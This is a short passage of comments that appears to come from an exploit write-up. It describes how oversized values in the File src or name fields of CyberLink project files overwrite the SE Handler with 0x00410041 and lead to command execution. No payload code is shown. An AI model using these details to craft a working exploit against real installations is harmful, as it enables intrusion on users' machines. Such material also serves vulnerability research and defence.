### Vulnerability Details
# Most of CyberLink products contain built-in project file with their own format and
# extension. This file usually contains our recently modified project or work.
# Most of this filetypes contain this section:
# <File src=
# <File name=
# Generally, those sections will be filled with source path or filename.
# both products will lead us to command execution because the address of
# SE Handler is overwritten with 0x00410041.
# Notes:
# I cannot find any good return address for WaveEditor, if you can make it
# through the hard way, kudos!!
